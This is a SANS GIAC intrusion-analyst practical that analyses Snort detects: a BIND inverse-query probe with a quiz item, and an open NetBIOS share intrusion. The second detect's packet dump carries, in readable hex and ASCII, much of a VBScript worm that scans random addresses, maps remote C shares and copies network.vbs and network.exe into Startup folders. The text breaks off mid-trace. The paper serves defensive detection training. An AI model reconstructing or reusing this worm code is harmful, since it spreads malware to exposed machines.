Global Information Assurance Certification Paper

Copyright SANS Institute
Author Retains Full Rights

This paper is taken from the GIAC directory of certified professionals. Reposting is not permited without express written permission.

Interested in learning more?

Check out the list of upcoming events offering
"Network Monitoring and Threat Detection In-Depth (Security 503)"
at http://www.giac.org/registration/gcia

GIAC Intrusion Analyst Certification Practical
for Eric Hacker

Network Detect #1: BIND Inverse Query Probe

Network Detect #2: Open NetBIOS SMB Share

Network Detect #3 : Trojanned system calling IRC

Network Detect #4: ICMP

Network Detect #5: SynFin scans

Assignment 2: Attack Evaluation, Network File Resource Vulnerability

Assignment 3: "Analyze this" Snort data analysis

Addresses have been sanitized with invalid octet values where necessary.

Network Detect #1: BIND Inverse Query Probe

```
[**] IDS277 - NAMED Iquery Probe [**]
07/29-18:04:22.909565 211.41.213.62:1980 -> 24.357.422.69:53
UDP TTL:46 TOS:0x0 ID:29716
Len: 35
```

1. **Source of trace**: This trace was captured from an IDS on a hub connected to a cable modem and outside my home firewall. TCPDump was used to log traffic for later processing.

2. **Detect generated by**: Snort using standard 07272k.rules on TCPDump file. The first line identifies the rule that triggered the alert. The IDS277 tag refers to a rule that was made by Max Vision. More information on this rule could be found at his website http://www.whitehats.com.

The second line contains the date-timestamp, source address:port, destination address:port. The third line is the IP protocol, time-to-live, type-of-service and IP packet ID. The last line shows the length of the UDP data.

3. **Probability the address was spoofed:** This packet could have been spoofed. However, there doesn't appear to be a reason to probe BIND if one can't get the results. Therefore it is likely this packet was not spoofed.

4. **Description of attack:** This is a reconnaissance probe to identify if the destination host is running BIND and supporting inverse query. Older versions of BIND are vulnerable to a buffer overflow attack. This is CVE-1999-0009.

5. **Attack mechanism:** This probe operates by checking to see if the destination hosts supports inverse queries. If so, it would likely be immediately followed by an attack.

6. **Correlations:** There are no references to this particular source address in the GIAC detects archives. This type of probe is common. Similar probes were seen in reports from 5/31/00, 6/02/00, 6/06/00, 6/28/00, 7/16/00, 8/01/00, and 8/02/00.

7. **Evidence of active targeting:** This was the only packet received from this host over a two-week time span. There has never been a DNS server at this address. Therefore it is unlikely this was targeted.

8. **Severity:** [Criticality: 5 -firewall + Lethality: 1 - no vulnerability] - [System Countermeasures: 5 hardened system + Network Countermeasures: 1 - none, it is the border] = 0

9. **Defensive recommendation:** For most environments, especially a home network, no action would be necessary, as the attacker gained no useful information. The sensitive and curious might want to log all packets from this source as a preventative measure.

10. **Multiple choice question:**

Given this packet, which is true.

```
[**] IDS277 - NAMED Iquery Probe [**]
07/29-18:04:22.909565 211.41.213.62:1980 -> 24.357.422.69:53
UDP TTL:46 TOS:0x0 ID:29716
Len: 35
```

a) The length is odd; it should be a multiple of 8.
b) This is a BIND query.
c) The TTL indicates this is a crafted packet.
d) This is a DNS search for Iquery.com.

© SANS Institute 2000 - 2005 Author retains full rights.

Answer: b. UDP packets have no length factorization requirements. The TTL is normal for a Unix system with that is not close. The Iquery is part of the Snort warning message and not tied to the packet contents. However, the warning does say NAMED and the destination is port 53. Thus it is a BIND query.

Network Detect #2: Open NetBIOS SMB Share

```
[**] NETBIOS-SMB-C [**]
08/02-19:48:04.026811 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:23092 DF
*****PA* Seq: 0xCB6FC2 Ack: 0x7691C7B0 Win: 0x21CF

08/02-19:47:20.291620 24.911.337.169:137 -> 24.357.422.69:137
UDP TTL:112 TOS:0x0 ID:20788
Len: 58
2E B4 00 10 00 01 00 00 00 00 00 00 20 43 4B 41 ............ CKA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 00 00 21 AAAAAAAAAAAAA..!
00 01 ..

08/02-19:47:20.384804 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:21044 DF
**S***** Seq: 0xCB6EDB Ack: 0x0 Win: 0x2000
TCP Options => MSS: 1460 NOP NOP SackOK

08/02-19:47:20.470565 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:21300 DF
******A* Seq: 0xCB6EDC Ack: 0x7691C747 Win: 0x2238
00 00 00 00 00 00 ......

08/02-19:47:20.471186 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:21556 DF
*****PA* Seq: 0xCB6EDC Ack: 0x7691C747 Win: 0x2238
81 00 00 44 20 45 46 46 46 46 45 45 49 46 4A 45 ...D EFFFFEEIFJE
45 45 46 45 4E 46 46 46 44 43 41 43 41 43 41 43 EEFENFFFDCACACAC
41 43 41 43 41 00 20 45 49 46 41 43 41 43 41 43 ACACA. EIFACACAC
41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 43 ACACACACACACACAC
41 43 41 43 41 41 41 00 ACACAAA.

08/02-19:47:20.887587 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:21812 DF
******A* Seq: 0xCB6F24 Ack: 0x7691C74B Win: 0x2234
00 00 00 00 00 00 ......

08/02-19:48:03.926961 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:22836 DF
*****PA* Seq: 0xCB6F24 Ack: 0x7691C74B Win: 0x2234
00 00 00 9A FF 53 4D 42 72 00 00 00 00 00 00 00 .....SMBr.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 67 14 ..............g.
00 00 02 26 00 77 00 02 50 43 20 4E 45 54 57 4F ...&.w..PC NETWO
52 4B 20 50 52 4F 47 52 41 4D 20 31 2E 30 00 02 RK PROGRAM 1.0..
4D 49 43 52 4F 53 4F 46 54 20 4E 45 54 57 4F 52 MICROSOFT NETWOR
4B 53 20 33 2E 30 00 02 44 4F 53 20 4C 4D 31 2E KS 3.0..DOS LM1.
32 58 30 30 32 00 02 44 4F 53 20 4C 41 4E 4D 41 2X002..DOS LANMA
4E 32 2E 31 00 02 57 69 6E 64 6F 77 73 20 66 6F N2.1..Windows fo
72 20 57 6F 72 6B 67 72 6F 75 70 73 20 33 2E 31 r Workgroups 3.1
61 00 02 4E 54 20 4C 4D 20 30 2E 31 32 00 a..NT LM 0.12.

08/02-19:48:04.026811 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:23092 DF
*****PA* Seq: 0xCB6FC2 Ack: 0x7691C7B0 Win: 0x21CF
00 00 00 A5 FF 53 4D 42 73 00 00 00 00 10 00 00 .....SMBs.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 67 14 ..............g.
01 00 02 26 0D 75 00 87 00 68 0B 32 00 00 00 00 ...&.u...h.2....
00 00 00 18 00 00 00 00 00 00 00 05 00 00 00 4A ...............J
00 BB 21 55 50 B6 0A 37 7D 40 CE B2 0E 5E 6D F2 ..!UP..7}@...^m.
DD 4E 37 44 32 27 BE 36 F4 4C 45 45 20 53 45 4E .N7D2'.6.LEE SEN
44 41 59 44 49 45 47 4F 00 57 4F 52 4B 47 52 4F DAYDIEGO.WORKGRO
55 50 00 57 69 6E 64 6F 77 73 20 34 2E 30 00 57 UP.Windows 4.0.W
69 6E 64 6F 77 73 20 34 2E 30 00 04 FF 00 00 00 indows 4.0......
02 00 01 00 13 00 00 5C 5C 45 55 54 48 59 44 45 .......\\EUTHYDE
4D 55 53 5C 43 00 41 3A 00 MUS\C.A:.

08/02-19:48:04.343825 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:23348 DF
******A* Seq: 0xCB706B Ack: 0x7691C819 Win: 0x2166
00 00 00 00 00 00 ......

08/02-19:48:04.344066 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:23604 DF
*****PA* Seq: 0xCB706B Ack: 0x7691C819 Win: 0x2166
00 00 00 6A FF 53 4D 42 08 00 00 00 00 00 00 80 ...j.SMB........
00 00 00 00 00 00 00 00 00 00 00 00 07 08 49 15 ..............I.
02 20 02 27 00 47 00 04 5C 00 57 00 49 00 4E 00 . .'.G..\.W.I.N.
44 00 4F 00 57 00 53 00 5C 00 53 00 54 00 41 00 D.O.W.S.\.S.T.A.
52 00 54 00 4D 00 7E 00 31 00 5C 00 50 00 52 00 R.T.M.~.1.\.P.R.
4F 00 47 00 52 00 41 00 4D 00 53 00 5C 00 53 00 O.G.R.A.M.S.\.S.
54 00 41 00 52 00 54 00 55 00 50 00 00 00 T.A.R.T.U.P...
```

© SANS Institute 2000 - 2005 Author retains full rights.

```
08/02-19:48:04.462654 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:23860 DF
*****PA* Seq: 0xCB70D9 Ack: 0x7691C854 Win: 0x212B
00 00 00 82 FF 53 4D 42 08 00 00 00 00 00 00 80 .....SMB........
00 00 00 00 00 00 00 00 00 00 00 00 07 08 49 15 ..............I.
02 20 82 27 00 5F 00 04 5C 00 57 00 49 00 4E 00 . .'._..\.W.I.N.
44 00 4F 00 57 00 53 00 5C 00 53 00 54 00 41 00 D.O.W.S.\.S.T.A.
52 00 54 00 4D 00 7E 00 31 00 5C 00 50 00 52 00 R.T.M.~.1.\.P.R.
4F 00 47 00 52 00 41 00 4D 00 53 00 5C 00 53 00 O.G.R.A.M.S.\.S.
54 00 41 00 52 00 54 00 55 00 50 00 5C 00 4E 00 T.A.R.T.U.P.\.N.
45 00 54 00 57 00 4F 00 52 00 4B 00 2E 00 56 00 E.T.W.O.R.K...V.
42 00 53 00 00 00 B.S...

08/02-19:48:05.022402 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:24116 DF
*****PA* Seq: 0xCB715F Ack: 0x7691C87B Win: 0x2104
00 00 00 A0 FF 53 4D 42 2D 00 00 00 00 00 00 80 .....SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 07 08 49 15 ..............I.
02 20 02 28 0F FF 00 00 00 07 00 91 00 16 00 21 . .(..........!
00 C6 BD 88 39 12 00 00 00 00 00 00 00 00 00 00 ....9...........
00 00 00 5F 00 00 5C 00 57 00 49 00 4E 00 44 00 ..._..\.W.I.N.D.
4F 00 57 00 53 00 5C 00 53 00 54 00 41 00 52 00 O.W.S.\.S.T.A.R.
54 00 4D 00 7E 00 31 00 5C 00 50 00 52 00 4F 00 T.M.~.1.\.P.R.O.
47 00 52 00 41 00 4D 00 53 00 5C 00 53 00 54 00 G.R.A.M.S.\.S.T.
41 00 52 00 54 00 55 00 50 00 5C 00 6E 00 65 00 A.R.T.U.P.\.n.e.
74 00 77 00 6F 00 72 00 6B 00 2E 00 76 00 62 00 t.w.o.r.k...v.b.
73 00 00 00 s...

08/02-19:48:05.217188 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:24372 DF
******A* Seq: 0xCB7203 Ack: 0x7691C8C0 Win: 0x20BF
00 00 08 16 FF 53 4D 42 0B 00 00 00 00 00 00 80 .....SMB........
00 00 00 00 00 00 00 00 00 00 00 00 07 08 49 15 ..............I.
02 20 82 28 05 0F 08 E6 07 00 00 00 00 E6 07 E9 . .(............
07 01 E6 07 64 69 6D 20 6F 63 74 61 0D 0A 64 69 ....dim octa..di
6D 20 6F 63 74 62 0D 0A 64 69 6D 20 6F 63 74 63 m octb..dim octc
0D 0A 64 69 6D 20 6F 63 74 64 0D 0A 64 69 6D 20 ..dim octd..dim 
72 61 6E 64 0D 0A 64 69 6D 20 64 6F 74 0D 0A 64 rand..dim dot..d
69 6D 20 64 72 69 76 65 63 6F 6E 6E 65 63 74 65 im driveconnecte
64 0D 0A 64 69 6D 20 73 68 61 72 65 6E 61 6D 65 d..dim sharename
0D 0A 64 69 6D 20 63 6F 75 6E 74 0D 0A 64 69 6D ..dim count..dim
20 6C 6F 67 66 69 6C 65 0D 0A 63 6F 75 6E 74 20  logfile..count 
3D 20 22 30 22 0D 0A 6F 63 74 61 20 3D 20 22 32 = "0"..octa = "2
34 22 0D 0A 64 6F 74 20 3D 20 22 2E 22 0D 0A 64 4"..dot = "."..d
72 69 76 65 63 6F 6E 6E 65 63 74 65 64 3D 22 30 riveconnected="0
22 0D 0A 73 65 74 20 77 73 68 6E 65 74 77 6F 72 "..set wshnetwor
6B 20 3D 20 77 73 63 72 69 70 74 2E 63 72 65 61 k = wscript.crea
74 65 6F 62 6A 65 63 74 28 22 77 73 63 72 69 70 teobject("wscrip
74 2E 6E 65 74 77 6F 72 6B 22 29 0D 0A 73 65 74 t.network")..set
20 66 73 6F 31 20 3D 20 63 72 65 61 74 65 6F 62  fso1 = createob
6A 65 63 74 28 22 73 63 72 69 70 74 69 6E 67 2E ject("scripting.
66 69 6C 65 73 79 73 74 65 6D 6F 62 6A 65 63 74 filesystemobject
22 29 0D 0A 73 65 74 20 66 73 6F 32 20 3D 20 63 ")..set fso2 = c
72 65 61 74 65 6F 62 6A 65 63 74 28 22 73 63 72 reateobject("scr
69 70 74 69 6E 67 2E 66 69 6C 65 73 79 73 74 65 ipting.filesyste
6D 6F 62 6A 65 63 74 22 29 0D 0A 6F 6E 20 65 72 mobject")..on er
72 6F 72 20 72 65 73 75 6D 65 20 6E 65 78 74 0D ror resume next.
0A 72 61 6E 64 6F 6D 69 7A 65 0D 0A 63 68 65 63 .randomize..chec
6B 66 69 6C 65 28 29 0D 0A 72 61 6E 64 61 64 64 kfile()..randadd
72 65 73 73 28 29 0D 0A 0D 0A 64 6F 0D 0A 64 6F ress()....do..do
20 77 68 69 6C 65 20 64 72 69 76 65 63 6F 6E 6E  while driveconn
65 63 74 65 64 20 3D 20 22 30 22 0D 0A 63 68 65 ected = "0"..che
63 6B 61 64 64 72 65 73 73 28 29 0D 0A 73 68 61 ckaddress()..sha
72 65 66 6F 72 6D 61 74 28 29 0D 0A 77 73 68 6E reformat()..wshn
65 74 77 6F 72 6B 2E 6D 61 70 6E 65 74 77 6F 72 etwork.mapnetwor
6B 64 72 69 76 65 20 22 7A 3A 22 2C 20 73 68 61 kdrive "z:", sha
72 65 6E 61 6D 65 0D 0A 65 6E 75 6D 64 72 69 76 rename..enumdriv
65 73 28 29 0D 0A 6C 6F 6F 70 0D 0A 63 6F 70 79 es()..loop..copy
66 69 6C 65 73 28 29 0D 0A 64 69 73 63 6F 6E 6E files()..disconn
65 63 74 64 72 69 76 65 28 29 0D 0A 6C 6F 6F 70 ectdrive()..loop
0D 0A 0D 0A 66 75 6E 63 74 69 6F 6E 20 64 69 73 ....function dis
63 6F 6E 6E 65 63 74 64 72 69 76 65 28 29 0D 0A connectdrive()..
77 73 68 6E 65 74 77 6F 72 6B 2E 72 65 6D 6F 76 wshnetwork.remov
65 6E 65 74 77 6F 72 6B 64 72 69 76 65 20 22 7A enetworkdrive "z
3A 22 0D 0A 64 72 69 76 65 63 6F 6E 6E 65 63 74 :"..driveconnect
65 64 20 3D 20 22 30 22 0D 0A 65 6E 64 20 66 75 ed = "0"..end fu
6E 63 74 69 6F 6E 0D 0A 0D 0A 66 75 6E 63 74 69 nction....functi
6F 6E 20 63 72 65 61 74 65 6C 6F 67 66 69 6C 65 on createlogfile
28 29 0D 0A 73 65 74 20 6C 6F 67 66 69 6C 65 20 ()..set logfile 
3D 20 66 73 6F 31 2E 63 72 65 61 74 65 74 65 78 = fso1.createtex
74 66 69 6C 65 28 22 63 3A 5C 6E 65 74 77 6F 72 tfile("c:\networ
6B 2E 6C 6F 67 22 2C 20 54 72 75 65 29 0D 0A 65 k.log", True)..e
6E 64 20 66 75 6E 63 74 69 6F 6E 0D 0A 0D 0A 66 nd function....f
75 6E 63 74 69 6F 6E 20 63 68 65 63 6B 66 69 6C unction checkfil
65 28 29 0D 0A 69 66 20 28 66 73 6F 31 2E 66 69 e()..if (fso1.fi
6C 65 65 78 69 73 74 73 28 22 63 3A 5C 6E 65 74 leexists("c:\net
77 6F 72 6B 2E 6C 6F 67 22 29 29 20 74 68 65 6E work.log")) then
0D 0A 66 73 6F 31 2E 64 65 6C 65 74 65 66 69 6C ..fso1.deletefil
65 28 22 63 3A 5C 6E 65 74 77 6F 72 6B 2E 6C 6F e("c:\network.lo
67 22 29 0D 0A 63 72 65 61 74 65 6C 6F 67 66 69 g")..createlogfi
6C 65 28 29 0D 0A 65 6C 73 65 0D 0A 63 72 65 61 le()..else..crea
```

© SANS Institute 2000 - 2005 Author retains full rights.

```
74 65 6C 6F 67 66 69 6C 65 28 29 0D 0A 65 6E 64 telogfile()..end
20 69 66 0D 0A 6C 6F 67 66 69 6C 65 2E 77 72 69  if..logfile.wri
74 65 6C 69 6E 65 28 22 43 6F 70 79 72 69 67 68 teline("Copyrigh
74 20 28 63 29 20 31 39 39 33 2D 31 39 39 35 20 t (c) 1993-1995 
4D 69 63 72 6F 73 6F 66 74 20 43 6F 72 70 2E 22 Microsoft Corp."
29 0D 0A 65 6E 64 20 66 75 6E 63 74 69 6F 6E 0D )..end function.
0A 0D 0A 66 75 6E 63 74 69 6F 6E 20 63 6F 70 79 ...function copy
66 69 6C 65 73 28 29 0D 0A 73 65 74 20 66 73 6F files()..set fso
20 3D 20 63 72 65 61 74 65 6F 62 6A 65 63 74 28  = createobject(
22 73 63 72 69 70 74 69 6E 67 2E 66 69 6C 65 73 "scripting.files
79 73 74 65 6D 6F 62 6A 65 63 74 22 29 0D 0A 66 ystemobject")..f
73 6F 2E 63 6F 70 79 66 69 6C 65 20 22 63 3A 5C so.copyfile "c:\
77 69 6E 64 6F 77 73 5C 73 74 61 72 74 6D 7E 31 windows\startm~1
5C 70 72 6F 67 72 61 6D 73 5C 73 74 61 72 74 75 \programs\startu
70 5C 6E 65 74 77 6F 72 6B 2E 76 62 73 22 2C 20 p\network.vbs", 
22 7A 3A 5C 77 69 6E 64 6F 77 73 5C 73 74 61 72 "z:\windows\star
74 6D 7E 31 5C 70 72 6F 67 72 61 6D 73 5C 73 74 tm~1\programs\st
61 72 74 75 70 5C 22 0D 0A 66 73 6F 2E 63 6F 70 artup\"..fso.cop
79 66 69 6C 65 20 22 63 3A 5C 77 69 6E 64 6F 77 yfile "c:\window
73 5C 73 74 61 72 74 6D 7E 31 5C 70 72 6F 67 72 s\startm~1\progr
61 6D 73 5C 73 74 61 72 74 75 70 5C 6E 65 74 77 ams\startup\netw
6F 72 6B 2E 65 78 65 22 2C 20 22 7A 3A 5C 77 69 ork.exe", "z:\wi
6E 64 6F 77 73 5C 73 74 61 72 74 6D 7E 31 5C 70 ndows\startm~1\p
72 6F 67 72 61 6D 73 5C 73 74 61 72 74 75 70 5C rograms\startup\
22 0D 0A 65 6E 64 20 66 75 6E 63 74 69 6F 6E 0D "..end function.
0A 0D 0A 66 75 6E 63 74 69 6F 6E 20 63 68 65 63 ...function chec
6B 61 64 64 72 65 73 73 28 29 0D 0A 6F 63 74 64 kaddress()..octd
20 3D 20 6F 63 74 64 20 2B 20 31 0D 0A 69 66 20  = octd + 1..if 
6F 63 74 64 20 3D 20 22 32 35 35 22 20 74 68 65 octd = "255" the
6E 20 72 61 6E 64 61 64 64 72 65 73 73 28 29 0D n randaddress().
0A 65 6E 64 20 66 .end f

08/02-19:48:05.249186 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:24628 DF
*****PA* Seq: 0xCB77B7 Ack: 0x7691C8C0 Win: 0x20BF
63 74 69 6F 6E 20 73 68 61 72 65 66 6F 72 6D 61 ction shareforma
74 28 29 0D 0A 73 68 61 72 65 6E 61 6D 65 20 3D t()..sharename =
20 22 5C 5C 22 20 26 20 6F 63 74 61 20 26 20 64  "\\" & octa & d
6F 74 20 26 20 6F 63 74 62 20 26 20 64 6F 74 20 ot & octb & dot 
26 20 6F 63 74 63 20 26 20 64 6F 74 20 26 20 6F & octc & dot & o
63 74 64 20 26 20 22 5C 43 22 0D 0A 65 6E 64 20 ctd & "\C"..end 
66 75 6E 63 74 69 6F 6E 0D 0A 0D 0A 66 75 6E 63 function....func
74 69 6F 6E 20 65 6E 75 6D 64 72 69 76 65 73 28 tion enumdrives(
29 0D 0A 73 65 74 20 6F 64 72 69 76 65 73 20 3D )..set odrives =
20 77 73 68 6E 65 74 77 6F 72 6B 2E 65 6E 75 6D  wshnetwork.enum
6E 65 74 77 6F 72 6B 64 72 69 76 65 73 0D 0A 66 networkdrives..f
6F 72 20 69 20 3D 20 30 20 74 6F 20 6F 64 72 69 or i = 0 to odri
76 65 73 2E 63 6F 75 6E 74 20 2D 31 0D 0A 69 66 ves.count -1..if
20 73 68 61 72 65 6E 61 6D 65 20 3D 20 6F 64 72  sharename = odr
69 76 65 73 2E 69 74 65 6D 28 69 29 20 74 68 65 ives.item(i) the
6E 0D 0A 64 72 69 76 65 63 6F 6E 6E 65 63 74 65 n..driveconnecte
64 20 3D 20 31 0D 0A 65 6C 73 65 0D 0A 27 20 64 d = 1..else..' d
72 69 76 65 63 6F 6E 6E 65 63 74 65 64 20 3D 20 riveconnected = 
30 20 0D 0A 65 6E 64 20 69 66 0D 0A 6E 65 78 74 0 ..end if..next
0D 0A 65 6E 64 20 66 75 6E 63 74 69 6F 6E 0D 0A ..end function..
0D 0A 66 75 6E 63 74 69 6F 6E 20 72 61 6E 64 75 ..function randu
6D 28 29 0D 0A 72 61 6E 64 20 3D 20 69 6E 74 28 m()..rand = int(
28 32 35 34 20 2A 20 72 6E 64 29 20 2B 20 31 29 (254 * rnd) + 1)
0D 0A 65 6E 64 20 66 75 6E 63 74 69 6F 6E 0D 0A ..end function..
0D 0A 66 75 6E 63 74 69 6F 6E 20 72 61 6E 64 61 ..function randa
64 64 72 65 73 73 28 29 0D 0A 69 66 20 63 6F 75 ddress()..if cou
6E 74 20 3C 20 35 30 20 74 68 65 6E 0D 0A 63 6F nt < 50 then..co
75 6E 74 3D 63 6F 75 6E 74 20 2B 20 31 0D 0A 65 unt=count + 1..e
6C 73 65 0D 0A 72 61 6E 64 75 6D 28 29 0D 0A 65 lse..randum()..e
6E 64 20 69 66 0D 0A 72 61 6E 64 75 6D 28 29 0D nd if..randum().
0A 6F 63 74 62 3D 72 61 6E 64 0D 0A 72 61 6E 64 .octb=rand..rand
75 6D 28 29 0D 0A 6F 63 74 63 3D 72 61 6E 64 0D um()..octc=rand.
0A 6F 63 74 64 3D 22 30 22 0D 0A 6C 6F 67 66 69 .octd="0"..logfi
6C 65 2E 77 72 69 74 65 6C 69 6E 65 28 22 73 75 le.writeline("su
62 6E 65 74 20 3A 20 22 20 26 20 6F 63 74 61 20 bnet : " & octa 
26 20 64 6F 74 20 26 20 6F 63 74 62 20 26 20 64 & dot & octb & d
6F 74 20 26 20 6F 63 74 63 20 26 20 64 6F 74 20 ot & octc & dot 
26 20 22 30 22 29 0D 0A 65 6E 64 20 66 75 6E 63 & "0")..end func
74 69 6F 6E 0D 0A tion..

08/02-19:48:05.352870 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:24884 DF
*****PA* Seq: 0xCB7A1D Ack: 0x7691C8E9 Win: 0x2096
00 00 00 30 FF 53 4D 42 0B 00 00 00 00 00 00 80 ...0.SMB........
00 00 00 00 00 00 00 00 00 00 00 00 07 08 49 15 ..............I.
02 20 02 29 05 0F 08 00 00 E6 07 00 00 00 00 03 . .)............
00 01 00 00 ....

08/02-19:48:05.448190 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:25140 DF
*****PA* Seq: 0xCB7A51 Ack: 0x7691C912 Win: 0x206D
00 00 00 29 FF 53 4D 42 04 00 00 00 00 00 00 80 ...).SMB........
00 00 00 00 00 00 00 00 00 00 00 00 07 08 49 15 ..............I.
02 20 82 29 03 0F 08 3E B2 01 39 00 00 . .)...>..9..

08/02-19:48:05.606361 24.911.337.169:2226 -> 24.357.422.69:139
```

© SANS Institute 2000 - 2005 Author retains full rights.

```
TCP TTL:112 TOS:0x0 ID:25396 DF
*****PA* Seq: 0xCB7A7E Ack: 0x7691C939 Win: 0x2046
00 00 00 96 FF 53 4D 42 09 00 00 00 00 00 00 80 .....SMB........
00 00 00 00 00 00 00 00 00 00 00 00 07 08 49 15 ..............I.
02 20 02 2A 08 21 00 00 00 00 00 00 00 00 00 00 . .*.!..........
00 00 00 00 00 63 00 04 5C 00 57 00 49 00 4E 00 .....c..\.W.I.N.
44 00 4F 00 57 00 53 00 5C 00 53 00 54 00 41 00 D.O.W.S.\.S.T.A.
52 00 54 00 4D 00 7E 00 31 00 5C 00 50 00 52 00 R.T.M.~.1.\.P.R.
4F 00 47 00 52 00 41 00 4D 00 53 00 5C 00 53 00 O.G.R.A.M.S.\.S.
54 00 41 00 52 00 54 00 55 00 50 00 5C 00 4E 00 T.A.R.T.U.P.\.N.
45 00 54 00 57 00 4F 00 52 00 4B 00 2E 00 56 00 E.T.W.O.R.K...V.
42 00 53 00 00 00 04 00 00 00 B.S.......

08/02-19:48:05.690126 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:25652 DF
*****PA* Seq: 0xCB7B18 Ack: 0x7691C960 Win: 0x201F
00 00 00 6A FF 53 4D 42 08 00 00 00 00 00 00 80 ...j.SMB........
00 00 00 00 00 00 00 00 00 00 00 00 07 08 49 15 ..............I.
02 20 82 2A 00 47 00 04 5C 00 57 00 49 00 4E 00 . .*.G..\.W.I.N.
44 00 4F 00 57 00 53 00 5C 00 53 00 54 00 41 00 D.O.W.S.\.S.T.A.
52 00 54 00 4D 00 7E 00 31 00 5C 00 50 00 52 00 R.T.M.~.1.\.P.R.
4F 00 47 00 52 00 41 00 4D 00 53 00 5C 00 53 00 O.G.R.A.M.S.\.S.
54 00 41 00 52 00 54 00 55 00 50 00 00 00 T.A.R.T.U.P...

08/02-19:48:05.775218 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:25908 DF
*****PA* Seq: 0xCB7B86 Ack: 0x7691C99B Win: 0x1FE4
00 00 00 82 FF 53 4D 42 08 00 00 00 00 00 00 80 .....SMB........
00 00 00 00 00 00 00 00 00 00 00 00 07 08 49 15 ..............I.
02 20 02 2B 00 5F 00 04 5C 00 57 00 49 00 4E 00 . .+._..\.W.I.N.
44 00 4F 00 57 00 53 00 5C 00 53 00 54 00 41 00 D.O.W.S.\.S.T.A.
52 00 54 00 4D 00 7E 00 31 00 5C 00 50 00 52 00 R.T.M.~.1.\.P.R.
4F 00 47 00 52 00 41 00 4D 00 53 00 5C 00 53 00 O.G.R.A.M.S.\.S.
54 00 41 00 52 00 54 00 55 00 50 00 5C 00 4E 00 T.A.R.T.U.P.\.N.
45 00 54 00 57 00 4F 00 52 00 4B 00 2E 00 45 00 E.T.W.O.R.K...E.
58 00 45 00 00 00 X.E...

08/02-19:48:05.978835 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:26164 DF
*****PA* Seq: 0xCB7C0C Ack: 0x7691C9C2 Win: 0x1FBD
00 00 00 48 FF 53 4D 42 32 00 00 00 00 00 01 80 ...H.SMB2.......
00 00 00 00 00 00 00 00 00 00 00 00 07 08 FF FF ................
02 20 82 2B 0F 06 00 00 00 00 00 1A 02 00 00 00 . .+............
00 00 00 00 00 00 00 06 00 42 00 00 00 00 00 01 .........B......
00 03 00 07 00 00 02 01 00 00 00 00 ............

08/02-19:48:06.123017 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:26420 DF
*****PA* Seq: 0xCB7C58 Ack: 0x7691CA10 Win: 0x1F6F
00 00 00 A0 FF 53 4D 42 2D 00 00 00 00 00 00 80 .....SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 07 08 FF FF ................
02 20 02 2C 0F FF 00 00 00 07 00 40 00 16 00 00 . .,.......@....
00 C6 BD 88 39 01 00 00 00 00 00 00 00 00 00 00 ....9...........
00 00 00 5F 00 00 5C 00 57 00 49 00 4E 00 44 00 ..._..\.W.I.N.D.
4F 00 57 00 53 00 5C 00 53 00 54 00 41 00 52 00 O.W.S.\.S.T.A.R.
54 00 4D 00 7E 00 31 00 5C 00 50 00 52 00 4F 00 T.M.~.1.\.P.R.O.
47 00 52 00 41 00 4D 00 53 00 5C 00 53 00 54 00 G.R.A.M.S.\.S.T.
41 00 52 00 54 00 55 00 50 00 5C 00 4E 00 45 00 A.R.T.U.P.\.N.E.
54 00 57 00 4F 00 52 00 4B 00 2E 00 45 00 58 00 T.W.O.R.K...E.X.
45 00 00 00 E...

08/02-19:48:06.239807 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:26676 DF
*****PA* Seq: 0xCB7CFC Ack: 0x7691CA37 Win: 0x1F48
00 00 00 A0 FF 53 4D 42 2D 00 00 00 00 00 00 80 .....SMB-.......
00 00 00 00 00 00 00 00 00 00 00 00 07 08 FF FF ................
02 20 82 2C 0F FF 00 00 00 07 00 40 00 16 00 00 . .,.......@....
00 C6 BD 88 39 01 00 00 00 00 00 00 00 00 00 00 ....9...........
00 00 00 5F 00 00 5C 00 57 00 49 00 4E 00 44 00 ..._..\.W.I.N.D.
4F 00 57 00 53 00 5C 00 53 00 54 00 41 00 52 00 O.W.S.\.S.T.A.R.
54 00 4D 00 7E 00 31 00 5C 00 50 00 52 00 4F 00 T.M.~.1.\.P.R.O.
47 00 52 00 41 00 4D 00 53 00 5C 00 53 00 54 00 G.R.A.M.S.\.S.T.
41 00 52 00 54 00 55 00 50 00 5C 00 4E 00 45 00 A.R.T.U.P.\.N.E.
54 00 57 00 4F 00 52 00 4B 00 2E 00 45 00 58 00 T.W.O.R.K...E.X.
45 00 00 00 E...

08/02-19:48:06.353152 24.911.337.169:2226 -> 24.357.422.69:139
TCP TTL:112 TOS:0x0 ID:26932 DF
*****PA* Seq: 0xCB7DA0 Ack: 0x7691CA5E Win: 0x1F21
